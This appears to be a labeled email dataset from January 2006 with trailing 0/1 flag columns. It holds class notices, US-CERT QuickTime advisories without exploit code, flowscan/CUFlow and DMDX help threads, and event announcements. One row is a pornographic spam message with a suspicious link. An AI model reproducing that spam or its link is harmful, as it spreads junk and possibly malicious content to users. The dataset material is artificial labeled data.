Wednesday, 4)Submit your presentation before class on Wednesday, OK? Email me if you have questions or problems. Enjoy, Carolyn ",0,0 Jennifer Heffelfinger ,,,Reminder: SPARC-ACRL Forum at ALA,"(Don't forget to drop by the SPARC booth - #673 - for an update on our latest activities.) SPARC-ACRL Forum at ALA Midwinter AUTHORS & AUTHORITY: Perspectives on Negotiating Licenses and Copyright A publisher, an attorney, and a librarian will provide insights into the ways that the traditional relationship between author and publisher is changing: from individual author's addenda included with publishing agreements to large-scale efforts from universities and organizations like Creative Commons and Science Commons. This SPARC- ACRL Forum will outline a path for the future that will better serve academe and the public. SPARC will also introduce its new partnership with Science Commons and discuss ways that SPARC members and the scholarly community can benefit from the new, online SPARC Author’s Addendum. Speakers include: - David Hoole, Head of Brand Marketing and Content Licensing, Nature Publishing Group - Mike Carroll, Associate Professor of Law, Villanova University School of Law and Board Member of Creative Commons - John Ober, Director, Education and Strategy, California Digital Library Please join us for this event. Reservations are not required. Saturday, January 21, 4:00 - 6:00PM Hilton Palacio del Rio, Salon Del Rey (Central & South) ------------------------------------- Jennifer Heffelfinger Communications Specialist SPARC jennifer@arl.org (202) 296-2296 x121 Fax: (202) 872-0884 www.arl.org/sparc ",0,0 US-CERT Alerts ,alerts@us-cert.gov,"Wed, 11 Jan 2006 17:22:52 -0500",US-CERT Cyber Security Alert SA06-011A -- Apple QuickTime Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-011A Apple QuickTime Vulnerabilities Original release date: January 11, 2006 Last revised: -- Source: US-CERT Systems Affected Apple QuickTime for * Apple Mac OS X * Microsoft Windows XP * Microsoft Windows 2000 Overview Apple has released Apple QuickTime 7.0.4 to correct several vulnerabilities. These vulnerabilities could allow an attacker to gain access to your computer. Solution Install an Update OS X users should use the Mac OS X Software Update feature to download and install Apple QuickTime 7.0.4. Consider scheduling Software Update to check for updates automatically (this option is enabled by default). Microsoft Windows users should upgrade to Apple QuickTime 7.0.4. Description QuickTime prior to version 7.0.4 has multiple image and media file handling vulnerabilities that could allow an attacker to run malicious programs on your computer. Upgrading to Apple QuickTime version 7.0.4 will correct these vulnerabilities. For more technical information, see US-CERT Technical Alert TA06-011A and the Apple QuickTime Security Update. References * Apple QuickTime 7.0.4 - * Security content of QuickTime 7.0.4 - * US-CERT Technical Alert TA06-011A - * US-CERT Vulnerability Note - * US-CERT Vulnerability Note - * US-CERT Vulnerability Note - * US-CERT Vulnerability Note - * US-CERT Vulnerability Note - * Mac OS X: Updating your software - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""SA06-011A Feedback VU#913449"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History Jan 11, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8WEsn0pj593lg50AQJvFAgAz1X/84ZOVkyJLHAiCD9jlLqxZyadmTgv GzB1cAlUAKmGFG9xqmqetlqyWK6vdtQx7lNXo4oZLEbKCI/jXfYXa4Ha2pIQz12B 7Tm5iLC6whS7RqQjlqinq/uEhj3LBnDtbM8VXLfMXMqROZxARK2bKVibRoj6IaLU dTE6OL7XCJcKs8GcFKUOjseRLMc4QlF+zdefxmN/m+YJStQmWbW6yjYYiHWdaSo0 25KeRkp7Vpf5Uw0+R7g1iu9oB3SDvv8vG8RDflFriZhqj+elY0UQ9tYE39nWjY9J JlUrIr+odzrdnKBo9flKYdMmIUFzjQDOVw0+cdBcbJGgcOfIyKDRdQ== =Zz+Y -----END PGP SIGNATURE-----",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Wed, 11 Jan 2006 17:11:27 -0500",US-CERT Technical Cyber Security Alert TA06-011A -- Apple QuickTime Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-011A Apple QuickTime Vulnerabilities Original release date: January 11, 2006 Last revised: January 11, 2006 Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows XP * Microsoft Windows 2000 Overview Apple has released QuickTime 7.0.4 to correct multiple vulnerabilities. The impacts of these vulnerabilities include execution of arbitrary code and denial of service. I. Description Apple QuickTime 7.0.4 resolves a number of image and media file handling vulnerabilities. Further details are available in the following Vulnerability Notes: VU#629845 - Apple QuickTime image handling buffer overflow Apple QuickTime contains a heap overflow vulnerability that may allow an attacker to execute arbitrary code or cause a denial-of-service condition. (CAN-2005-2340) VU#921193 - Apple QuickTime fails to properly handle corrupt media files Apple QuickTime contains a heap overflow vulnerability in the handling of media files. This vulnerability may allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service on a vulnerable system. (CAN-2005-4092) VU#115729 - Apple QuickTime fails to properly handle corrupt TGA images A flaw in the way Apple QuickTime handles Targa (TGA) image format files could allow a remote attacker to execute arbitrary code on a vulnerable system. (CAN-2005-3707) VU#150753 - Apple QuickTime fails to properly handle corrupt TIFF images Apple QuickTime contains an integer overflow vulnerability in the handling of TIFF images. This vulnerability may allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service on a vulnerable system. (CAN-2005-3710) VU#913449 - Apple QuickTime fails to properly handle corrupt GIF images A flaw in the way Apple QuickTime handles Graphics Interchange Format (GIF) files could allow a remote attacker to execute arbitrary code on a vulnerable system. (CAN-2005-3713) II. Impact The impacts of these vulnerabilities vary. For information about specific impacts, please see the Vulnerability Notes. Potential consequences include remote execution of arbitrary code or commands and denial of service. III. Solution Upgrade Upgrade to QuickTime 7.0.4. Appendix A. References * US-CERT Vulnerability Note VU#629845 - * US-CERT Vulnerability Note VU#921193 - * US-CERT Vulnerability Note VU#115729 - * US-CERT Vulnerability Note VU#150753 - * US-CERT Vulnerability Note VU#913449 - * CVE-2005-2340 - * CVE-2005-4092 - * CVE-2005-3707 - * CVE-2005-3710 - * CVE-2005-3713 - * Security Content for QuickTime 7.0.4 - * QuickTime 7.0.4 - * About the Mac OS X 10.4.4 Update (Delta) - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. 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Terms of use: ____________________________________________________________________ Revision History January 11, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8V8iX0pj593lg50AQJ85wf+OuHVseQVzZ0uI8h8TnmtAJmjzV6tp3Cj 34jwpSLlvo5S8svIHChcX/BYOwKVL/uQZswsjk/mbEu+TrPcVKPd7VPCetxIXVey AdC5hsAH1Wm0MnvY1LgvONo8IQ9RlT6Rj6fY7k7QhPUWsYxj/rDCWDAY9kgsHXc/ HpXWL/Cy5va35z8aYHrLVlxmofKrOWtX0PVa6lSKV8lIsY+TDihA5tYIb5wRDVxL osieJ+MHSXGchXpjX2c0o6Ja6vhJNR61LEwelk9FMLT1JRTkp+wz9/AoVUSyZ/hy 0WBP0M8cwl8koWgijNcLXA18YX8QtDftAVRwpwHKMrbNCYdrWblYVw== =5Kiq -----END PGP SIGNATURE-----",0,1 cknox@uoregon.edu,cknox@uoregon.edu,"Wed, 11 Jan 2006 16:10:14 -0800",EDST 114 Design,"Hi Everyone; I put the Design Delights handout high in the list of resources in Blackboard to give you more information about how to design your four slides. This handout has the Contrast, Repetition, Alighment and Proximity examples in it. Have a fun weekend. c.",0,0 Kyle Koerner ,Old Mac MP ,"Wed, 11 Jan 2006 17:10:12 -0500",Another Daystar...,"Hi all, I have received another Daystar Genesis. It is the 6-PCI slot kind, and has a 132MHz 604 (from a 7200 or similar, I believe). I have a hard drive, CD drive, and video card for it, as well as RAM. This computer, however, does the exact same thing as my other genesis - it chimes, spins up the drive, and sits there. Nothing else. I have tried all kinds of things - moving the card around, swapping from 3dfx to IMS Twin Turbo (in slots 2 and 4 from processor), I have tried changing RAM around - how should it be installed? I have five 128MB sticks of RAM, and an 8 mB stick from a PowerMac 5400. I was also using a 128MB stick in it, and it worked fine. I have tried disconnecting all SCSI devices, I have tried CUDA reset, I have installed a new battery. Interestingly, one Genesis has a sticker on the MB with the Daystar logo, the other has it printed on. The one with the printed-on logo also has all the internal connectors labeled. What else can I do? If I can't get these to work, i guess they will be junked. They both ""worked"", according to previous owners. Thanks, Kyle- ",0,0 Matt Selsky ,cuflow-users@columbia.edu,"Wed, 11 Jan 2006 17:28:36 -0500",[announce] CUFlow 1.7 released,"CUFlow 1.7 has been released. As usual, you can download this version from the CUFlow website: http://www.columbia.edu/acis/networks/advanced/CUFlow/ CUFlow and gpg signature: http://www.columbia.edu/acis/networks/advanced/CUFlow/CUFlow-1.7.tgz http://www.columbia.edu/acis/networks/advanced/CUFlow/CUFlow-1.7.asc Also, there should be a Debian package for CUFlow available soon. The package work is being done by Russell Stuart. Changes since 1.6 (never publicly released): Clarified copyright ownership. Changes since 1.5: CUFlow.pm: Add AS scoreboarding CUGrapher.pl: Show throughput numbers alongside percentages in grapher Only show AS/TOS columns if data is present Add compatibility for rrdtool 1.2.x -- Matt Selsky ",0,1 Neelay Thaker ,cuflow-users@columbia.edu,"Wed, 11 Jan 2006 19:09:12 -0800",error with flowscan,"Hi, I'm a flowtools newbie. I have installed flowtools on my system. When I try to start flowscan, I get the error- Can't locate Cflow.pm in @INC (@INC contains: /usr/lib/perl5/5.8.5/i386-linux-thread-multi /usr/lib/perl5/5.8.5 /usr/lib/perl5/site_perl/5.8.5/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.4/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.3/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.2/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.1/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.5 /usr/lib/perl5/site_perl/5.8.4 /usr/lib/perl5/site_perl/5.8.3 /usr/lib/perl5/site_perl/5.8.2 /usr/lib/perl5/site_perl/5.8.1 /usr/lib/perl5/site_perl/5.8.0 /usr/lib/perl5/site_perl /usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.4/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.3/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.2/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.1/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.5 /usr/lib/perl5/vendor_perl/5.8.4 /usr/lib/perl5/vendor_perl/5.8.3 /usr/lib/perl5/vendor_perl/5.8.2 /usr/lib/perl5/vendor_perl/5.8.1 /usr/lib/perl5/vendor_perl/5.8.0 /usr/lib/perl5/vendor_perl .) at /var/netflow/bin/flowscan line 25. BEGIN failed--compilation aborted at /var/netflow/bin/flowscan line 25. Any help regarding this error will be highly appreciated. Thanks. -Neelay. ",0,0 Matt Selsky ,Neelay Thaker ,"Wed, 11 Jan 2006 22:57:25 -0500",Re: error with flowscan,"You need to install Cflow then. :-) See http://www.dynamicnetworks.us/netflow/2-getting-started.html#software > I'm a flowtools newbie. I have installed flowtools on my system. When > I try to start flowscan, I get the error- > Can't locate Cflow.pm in @INC (@INC contains: > /usr/lib/perl5/5.8.5/i386-linux-thread-multi /usr/lib/perl5/5.8.5 > /usr/lib/perl5/site_perl/5.8.5/i386-linux-thread-multi > /usr/lib/perl5/site_perl/5.8.4/i386-linux-thread-multi > /usr/lib/perl5/site_perl/5.8.3/i386-linux-thread-multi > /usr/lib/perl5/site_perl/5.8.2/i386-linux-thread-multi > /usr/lib/perl5/site_perl/5.8.1/i386-linux-thread-multi > /usr/lib/perl5/site_perl/5.8.0/i386-linux-thread-multi > /usr/lib/perl5/site_perl/5.8.5 /usr/lib/perl5/site_perl/5.8.4 > /usr/lib/perl5/site_perl/5.8.3 /usr/lib/perl5/site_perl/5.8.2 > /usr/lib/perl5/site_perl/5.8.1 /usr/lib/perl5/site_perl/5.8.0 > /usr/lib/perl5/site_perl > /usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi > /usr/lib/perl5/vendor_perl/5.8.4/i386-linux-thread-multi > /usr/lib/perl5/vendor_perl/5.8.3/i386-linux-thread-multi > /usr/lib/perl5/vendor_perl/5.8.2/i386-linux-thread-multi > /usr/lib/perl5/vendor_perl/5.8.1/i386-linux-thread-multi > /usr/lib/perl5/vendor_perl/5.8.0/i386-linux-thread-multi > /usr/lib/perl5/vendor_perl/5.8.5 /usr/lib/perl5/vendor_perl/5.8.4 > /usr/lib/perl5/vendor_perl/5.8.3 /usr/lib/perl5/vendor_perl/5.8.2 > /usr/lib/perl5/vendor_perl/5.8.1 /usr/lib/perl5/vendor_perl/5.8.0 > /usr/lib/perl5/vendor_perl .) at /var/netflow/bin/flowscan line 25. > BEGIN failed--compilation aborted at /var/netflow/bin/flowscan line > 25. > > Any help regarding this error will be highly appreciated. ",0,1 Chris Letts ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Jan 2006 11:33:52 -0000",[DMDX] Wrong responses and timeouts,"I hope there's a simple answer to this. I have the Q key mapped as a negative response, with the item line ending with a 'branch if wrong' to the end of the script and that works just fine. However my user now wants an automatic timeout e.g. and when timed out, go onto the next item. If I introduce that, I find that a timeout acts as a wrong response, and branches to the end. What am I doing wrong - I want 'Q' to go to the end, but a timeout to go to the next item.. P.s. 'branch if no response' may work instead of the timeout, but requires me to edit every line of the script to tell it where the next line is. Chris Letts, Technical Site Manager, SECLS Speech & Language Section.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 12 Jan 2006 08:52:24 -0700",[DMDX] Re: Wrong responses and timeouts,"I'd just use a in every item and have it do the branching with a . Something like: 0 ""instructions"" ; ~1 ; ~2 ; +1000 ""probe"" * ; +1001 ""probe"" * ; +1002 ""probe"" * ; +1003 ""probe"" * ; +1004 ""probe"" * ; 9999 ""end""; At 11:33 AM 1/12/2006 +0000, you wrote: >I hope there's a simple answer to this. > >I have the Q key mapped as a negative response, with the item line ending >with a 'branch if wrong' to the end of the script and that works just fine. > >However my user now wants an automatic timeout e.g. and when >timed out, go onto the next item. If I introduce that, I find that a >timeout acts as a wrong response, and branches to the end. > >What am I doing wrong - I want 'Q' to go to the end, but a timeout to go >to the next item.. > >P.s. 'branch if no response' may work instead of the timeout, but >requires me to edit every line of the script to tell it where the next line is. > >Chris Letts, >Technical Site Manager, >SECLS Speech & Language Section. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lord Falkland's Rule: When it is not necessary to make a decision, it is necessary not to make a decision.",0,0 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 12 Jan 2006 17:01:54 -0500","US-CERT Cyber Security Bulletin SB06-012 -- Summary of Security Items from January 5 through January 11, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from January 5 through January 11, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from Summary of Security Items from January 5 through January 11, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8bRe30pj593lg50AQKIJAf/Si7p2VraaLJO99xnYI3QsklmaFAd+pKe /VsV74/5fDtu0DipEkuuhXVAujmw/By05A9sbzGII+IHI28PMvVQ58IAeWaP4yHy PowG9kaMlFmm44/iN4Bp6JTnxAKJcjP1V6S1g3uBJsOwx0+Iox00EVNGuPuHHXRr SX1gmktxr8OZmhTBR1PPWgj5RzzG4W/dOv7doa2gQArT6XULLeFluqYM//6ztgmn BT11tG6CI30PuOWeP90BGxo6chQopoxYTOULORbZt3W4spjujGDZbQXIRkr5uyTJ 0XZ3CBs1P+9apPba8veQPuL40ebk6CpyckdCJHx79L+LZl/YpzFTLA== =ohe2 -----END PGP SIGNATURE-----",0,1 """Bassett, Matthew"" ",,"Thu, 12 Jan 2006 09:18:11 -0600",[AIChE CAST] WebCAST on Feedback: The Simple and Best Solution,"Feedback: The simple and best solution by Prof. Sigurd Skogestad Details at http://www.castdiv.org/WebCAST.htm > Deadline to Register- 7 Feb 2006 DATE: Thursday, 9 Feb 2006, 9am-11am Pacific [noon-2pm Eastern] Dial-in from the comfort of your office to hear the presentation Abstract Most chemical engineers are (indirectly) trained to be ""feedforward thinkers"" and they immediately think of ""model inversion'' when it comes doing control. Thus, they prefer to rely on models instead of data, although simple feedback solutions in many cases are much simpler and certainly more robust. The seminar starts with a simple comparison of feedback and feedforward control and their sensitivity to uncertainty. Then two nice applications of feedback are considered: 1. Implementation of optimal operation by ""self-optimizing control"". The idea is to turn optimization into a setpoint control problem, and the trick is to find the right variable to control. Applications include process control, pizza baking, marathon running, biology and the central bank of a country. 2. Stabilization of desired operating regimes. Here feedback control can lead to completely new and simple solutions. One example would be stabilization of laminar flow at conditions where we normally have turbulent flow. I the seminar a nice application to anti-slug control in multiphase pipeline flow is discussed. Biographical Sketch Sigurd Skogestad was born in Norway in 1955. He received the Siv.Ing. degree (Diploma Engineer) in chemical engineering from the Norwegian University of Science and Technology (NTNU) in Trondheim in 1978. After finishing his military service at the Norwegian Defence Research Institute, he worked from 1980 to 1983 with Norsk Hydro in the areas of process design and simulation at their Reseach Center in Porsgrunn, Norway. He then spent 3.5 years in the US working towards his Ph.D. under the guidance of Manfred Morari, receiving the Ph.D. degree from the California Institute of Technology in 1987. He has been a professor of chemical engineering at the Norwegian University of Science and Technology (NTNU) since 1987, and since 1999 he is Head of Department of Chemical Engineering ( Kjemisk prosessteknologi ). He was at sabattical leave at the University of California at Berkeley in 1994-95, and at the University of California at Santa Barbara in 2001-02. He has a group of about 10 Ph.D. students and is the Head of PROST which is the strong point center in process systems engineering in Trondheim and involves about 50 people in various departments. The goal of his research is to develop simple yet rigorous methods to solve problems of engineering significance. Research interests include the use of feedback as a tool to (1) reduce uncertainty (including robust control), (2) change the system dynamics (including stabilization), and (3) generallly make the system more well-behaved (including self-optimizing control). Other interests include limitations on performance in linear systems, control structure design and plantwide control, interactions between process design and control, and distillation column design, control and dynamics. The author of more than 100 journal publications and 150 conference publications, he is the principal author together with Ian Postlethwaite of the book ""Multivariable feedback control"" published by Wiley in 1996 (first edition) and 2005 (second edition). In October 2000 he published a book on ""Process engineering - mass and energy balances"" and a second edition came in August 2003 (In Norwegian; , Prosessteknikk (Tapir, 2000/2003) (he is considering writing an English edition.) Dr. Skogestad was awarded ""Innstilling to the King"" for his Siv.Ing. degree in 1979, a Fullbright fellowship in 1983, received the Ted Peterson Award from AIChE in 1989, the George S. Axelby Outstanding Paper Award from IEEE in 1990, and the O. Hugo Schuck Best Paper Award from the American Automatic Control Council in 1992. He was an Editor of Automatica during the period 1996-2002. In the autumn he teaches a course on introduction to process engineering based on his own text book. He used to teach the process control course for the 4th year students, but more recently this has been taken over by professor Heinz Preisig. Since 1989 he taught a Ph.D. course in robust multivariable control in the Control Department, based on his book with Ian Postlethwaite, but the course was given for the last time in spring 1999, and it has been replaced by an advanved undergraduate course given by Professor Morten Hovd. The engineering degree at NTNU has recently (first 5-year students graduated in 2002) changed from a 4.5 year program to a 5 year program and the siv.ing. degree is now considered equivalent to a M.Sc. degree. Professor Skogestad presentlty teaches a new advanced process control module for the 5th year students. ------------------------------------------------------ Matt Bassett Dow AgroSciences - GAMMA 9330 Zionsville Road 306/D2 Indianapolis, IN 46268 Voice: (317)337-3891 Fax: (317)337-3628 Work Hours: 6AM-3PM M-F > NOTICE: This e-mail message (including all attachments) from Dow > AgroSciences LLC is for the sole use of the intended recipient(s). Any > unauthorized review, use, disclosure or distribution is strictly > prohibited. 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(7 pages) http://www.aut.org.uk/circulars/html/la7707.html http://www.aut.org.uk/circulars/rtf/la7707.rtf LA/7706 National industrial action ballot: timetable Details of the timetable for AUT's national industrial action ballot, for which ballot papers will be dispatched tomorrow, are set out in this circular. A list of the institutions in which AUT will ballot members is provided. (3 pages) http://www.aut.org.uk/circulars/html/la7706.html http://www.aut.org.uk/circulars/rtf/la7706.rtf LA/7705 Report of the academic-related staff committee for 2005-6 This circular sets out the report of the national academic-related staff committee for the session from March 2005 to present, including progress on motions referred from the 2005 academic-related staff annual meeting to the 2005 AUT council meeting. This circular is useful to members and LAs in consideration of topics for formulating motions for the 2006 annual meeting, to be held on 2 March 2006. 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(17 pages) For more information, contact Rachel Curley (rachel.curley@aut.org.uk) http://www.aut.org.uk/circulars/html/la7703.html http://www.aut.org.uk/circulars/rtf/la7703.rtf Intercontinental Hotels offer Intercontinental Hotels are offering AUT members 25% off B&B stays at over 300 Crowne Plaza, Holiday Inn & Express by Holiday Inn Hotels in the UK, Ireland and Europe until 31st March 2006. The Winter Offer has weekend breaks you'll warm to too! Full details are available at http://www.aut.org.uk/media/pdf/3/s/ichotels_offer.pdf. Links to new circulars are sent to LA secretaries. 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For further assistance, please contact Jerry McAllister [log in to unmask] ================================================================ Back to: Top of message | Previous page | Main CSSAMSU page LIST.MSU.EDU",1,1 Thomas Stegbauer ,cuflow-users@columbia.edu,"Fri, 13 Jan 2006 00:48:38 +0100",cuflow on debian sarge running motorola powerstack (ppc-architecture),"hi ml, i am new to this list and cuflow. i am running a linksys wrt54gl with dd-wrt v23 12/25/2005 and started rflow on this router to a flow-tools 0.67.8 from debian sarge. this flow-capture does capture the databases fine. imho without nexthop and outif. a flow-print file looks like: srcIP dstIP prot srcPort dstPort octets packets 193.27.253.47 192.168.0.98 6 8080 1188 126 2 192.168.0.98 193.27.253.47 6 1188 8080 110 2 193.27.253.2 192.168.0.98 6 80 1216 3979 10 192.168.0.98 193.27.253.2 6 1216 80 2695 10 when i run flowscan with the CUFlow report i get: 2006/01/13 00:35:24 working on file /var/flow/test/ft-v05.2006-01-13.000000+0100... /var/flow/test/ft-v05.2006-01-13.000000+0100: Invalid index in cflowd flow file: 0xCF100203! Version 5 flow-export is required with *all* fields being saved. 2006/01/13 00:35:24 flowscan-1.020 CUFlow: Cflow::find took 0 wallclock secs ( 0.01 usr + 0.00 sys = 0.01 CPU) for 10136 flow file bytes, flow hit ratio: 0/0 2006/01/13 00:35:24 flowscan-1.020 CUFlow: report took 0 wallclock secs ( 0.00 usr 0.00 sys + 0.03 cusr 0.04 csys = 0.07 CPU) 2006/01/13 00:35:24 rename ""/var/flow/test/ft-v05.2006-01-13.000000+0100"", ""/var/flow/test/saved/ft-v05.2006-01-13.000000+0100"": Permission denied 2006/01/13 00:35:24 unlink ""/var/flow/test/ft-v05.2006-01-13.000000+0100"": Permission denied cause i had before some other troubles and got: ERROR updating /var/flow/rrd/total.rrd: illegal attempt to update using time 1137106800 when last update time is 1137106800 (minimum one second step) ERROR updating /var/flow/rrd/total.rrd: illegal attempt to update using time 1137106800 when last update time is 1137106800 (minimum one second step) ERROR updating /var/flow/rrd/total.rrd: illegal attempt to update using time 1137106800 when last update time is 1137106800 (minimum one second step) i tried running flowscan with a user without the privilege to delete the file, cause somebody said the file got deleted by something while getting processed by CUFlow. https://www1.columbia.edu/sec/bboard/mj/cuflow-users/archive/2005_08/msg00005.html but with this i saw the problem with not having a complete version 5 flow-export is there a way to get CUFlow running without the complete flow-file? cause it is enough for me, to get the packets/time/bytes for some subnet as a graphical output? greetings thomas -- # Thomas Stegbauer # https://keyserver1.pgp.com/vkd/DownloadKey.event?keyid=0x65CEC0FC275931BF # Key fingerprint = 984E D4B1 E91E F349 5057 B6AC 65CE C0FC 2759 31BF ",0,1 Elbert Varner ,acheng@olemiss.edu,"Fri, 13 Jan 2006 10:25:20 -0400",splendiferous Gay in harrdcore action!," Just tasteful Gaay sucking Diick! http://bigfatwho.info/pxtwink.htm?iSPhfd.fX,hj ",1,1 Kyle Koerner ,Old Mac MP ,"Thu, 12 Jan 2006 19:36:43 -0500",Re: Another Daystar...," On Jan 11, 2006, at 6:54 PM, Michael Shaw wrote: > > On 11-Jan-06, at 5:10 PM, Kyle Koerner wrote: > >> Hi all, >> I have received another Daystar Genesis. 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Use the same font and the same size of font. You all did a great job on using a San Serif font!!! I hope this helps. If you have questions please email Carolyn or I. Have a great three day weekend. Allison",0,0 Robert S Galloway ,Thomas Stegbauer ,"Fri, 13 Jan 2006 09:24:42 -0700",Re: cuflow on debian sarge running motorola powerstack (ppc-architecture),"Good morning Thomas. The error you are seeing is related to the Cflow.pm perl module. The module must be configured and compiled for use with flow-tools files. I'm not sure how to correctly install it when using a debian package of flow-tools. Using the flow-tools tarball, you would do the following: untar the flow-tools tar.gz cd flow-tools-0.66 cd contrib tar -zxvf Cflow-1.051.tar.gz cd Cflow-1.051 perl Makefile.PL make make install The Cflow Makefile will look for the flow-tools files itself. It expects to find them in the same folder path, so it's important to follow this exactly as described above. Let us know how it goes. Thanks, Robert P.S. You'll find the same notes here near the bottom of the page. http://www.dynamicnetworks.us/netflow/2-getting-started.html Thomas Stegbauer wrote: > hi ml, > > i am new to this list and cuflow. > > i am running > a linksys wrt54gl with dd-wrt v23 12/25/2005 and started rflow on this > router to a flow-tools 0.67.8 from debian sarge. > this flow-capture does capture the databases fine. imho without nexthop > and outif. a flow-print file looks like: > > > srcIP dstIP prot srcPort dstPort octets > packets > 193.27.253.47 192.168.0.98 6 8080 1188 126 2 > 192.168.0.98 193.27.253.47 6 1188 8080 110 2 > 193.27.253.2 192.168.0.98 6 80 1216 3979 10 > 192.168.0.98 193.27.253.2 6 1216 80 2695 10 > > when i run flowscan with the CUFlow report i get: > > 2006/01/13 00:35:24 working on file > /var/flow/test/ft-v05.2006-01-13.000000+0100... > /var/flow/test/ft-v05.2006-01-13.000000+0100: Invalid index in cflowd > flow file: 0xCF100203! Version 5 flow-export is required with *all* > fields being saved. > 2006/01/13 00:35:24 flowscan-1.020 CUFlow: Cflow::find took 0 wallclock > secs ( 0.01 usr + 0.00 sys = 0.01 CPU) for 10136 flow file bytes, flow > hit ratio: 0/0 > 2006/01/13 00:35:24 flowscan-1.020 CUFlow: report took 0 wallclock secs > ( 0.00 usr 0.00 sys + 0.03 cusr 0.04 csys = 0.07 CPU) > 2006/01/13 00:35:24 rename > ""/var/flow/test/ft-v05.2006-01-13.000000+0100"", > ""/var/flow/test/saved/ft-v05.2006-01-13.000000+0100"": Permission denied > 2006/01/13 00:35:24 unlink > ""/var/flow/test/ft-v05.2006-01-13.000000+0100"": Permission denied > > cause i had before some other troubles and got: > > ERROR updating /var/flow/rrd/total.rrd: illegal attempt to update using > time 1137106800 when last update time is 1137106800 (minimum one second > step) > ERROR updating /var/flow/rrd/total.rrd: illegal attempt to update using > time 1137106800 when last update time is 1137106800 (minimum one second > step) > ERROR updating /var/flow/rrd/total.rrd: illegal attempt to update using > time 1137106800 when last update time is 1137106800 (minimum one second > step) > > i tried running flowscan with a user without the privilege to delete the > file, cause somebody said the file got deleted by something while > getting processed by CUFlow. > https://www1.columbia.edu/sec/bboard/mj/cuflow-users/archive/2005_08/msg00005.html > > but with this i saw the problem with not having a complete version 5 > flow-export > > is there a way to get CUFlow running without the complete flow-file? > cause it is enough for me, to get the packets/time/bytes for some subnet > as a graphical output? > > greetings > thomas > > ",0,1 Neelay Thaker ,Matt Selsky ,"Fri, 13 Jan 2006 10:06:37 -0800",RE: error with flowscan,"Hi Matt, thanks for the reply. The problem is that I have Cflow already installed on this machine as per directions in the README. I have used flow tools before on it and flowscan has worked fine. Even when I re-install Cflow, the problem does not go away. Here's what I get when I print @INC, note that it includes Cflow- [root:~] perl -e 'use Cflow; print map {""$_ => $INC{$_}\\n""} keys %INC' Exporter.pm => /usr/local/lib/perl5/5.6.2/Exporter.pm Carp.pm => /usr/local/lib/perl5/5.6.2/Carp.pm Cflow.pm => /usr/local/lib/perl5/site_perl/5.6.2/i686-linux/Cflow.pm /usr/local/lib/perl5/5.6.2/i686-linux/auto/POSIX/load_imports.al => /usr/local/lib/perl5/5.6.2/i686-linux/auto/POSIX/load_imports.al XSLoader.pm => /usr/local/lib/perl5/5.6.2/i686-linux/XSLoader.pm strict.pm => /usr/local/lib/perl5/5.6.2/strict.pm vars.pm => /usr/local/lib/perl5/5.6.2/vars.pm POSIX.pm => /usr/local/lib/perl5/5.6.2/i686-linux/POSIX.pm Config.pm => /usr/local/lib/perl5/5.6.2/i686-linux/Config.pm warnings/register.pm => /usr/local/lib/perl5/5.6.2/warnings/register.pm warnings.pm => /usr/local/lib/perl5/5.6.2/warnings.pm DynaLoader.pm => /usr/local/lib/perl5/5.6.2/i686-linux/DynaLoader.pm Exporter/Heavy.pm => /usr/local/lib/perl5/5.6.2/Exporter/Heavy.pm /usr/local/lib/perl5/5.6.2/i686-linux/auto/POSIX/autosplit.ix => /usr/local/lib/perl5/5.6.2/i686-linux/auto/POSIX/autosplit.ix AutoLoader.pm => /usr/local/lib/perl5/5.6.2/AutoLoader.pm Thanks. -Neelay -----Original Message----- From: Matt Selsky [mailto:selsky@columbia.edu] Sent: Wed 1/11/2006 7:57 PM To: Neelay Thaker Cc: cuflow-users@columbia.edu Subject: Re: error with flowscan You need to install Cflow then. :-) See http://www.dynamicnetworks.us/netflow/2-getting-started.html#software > I'm a flowtools newbie. I have installed flowtools on my system. When > I try to start flowscan, I get the error- > Can't locate Cflow.pm in @INC (@INC contains: > /usr/lib/perl5/5.8.5/i386-linux-thread-multi /usr/lib/perl5/5.8.5 > /usr/lib/perl5/site_perl/5.8.5/i386-linux-thread-multi > /usr/lib/perl5/site_perl/5.8.4/i386-linux-thread-multi > 